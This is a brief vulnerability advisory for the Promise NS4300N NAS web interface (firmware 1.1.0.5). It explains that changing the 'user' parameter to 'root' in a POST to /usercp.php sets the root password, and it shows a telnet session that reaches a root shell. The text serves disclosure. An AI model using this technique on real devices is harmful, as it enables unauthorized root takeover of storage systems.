Vulnerable Systems:
* Promise NAS NS4300N web GUI firmware version 1.1.0.5
The user management portion of the web interface allows the admin user to change user's passwords. The PHP script that handles this does not check to see if the admin is changing a user account or system accounts such as 'root'.
By changing the value of the 'user' parameter to 'root' (from whatever user id whose password is being changed, e.g. 'admin' if you have not defined any users) in the POST request to /usercp.php, we can provide a known password for the root account and thereby login to the NAS (which is normally not possible because Promise has not divulged root's password).
Example:
moonshade:~$ telnet 192.168.5.16 2380
Trying 192.168.5.16...
Connected to 192.168.5.16.
Escape character is '^]'.
NS4300N R1.1 A10 (Version 01.01.0000.05) - Promise Technology, INC.
nas login: root
Password:
BusyBox v1.00-rc2 (2006.11.07-01:55+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
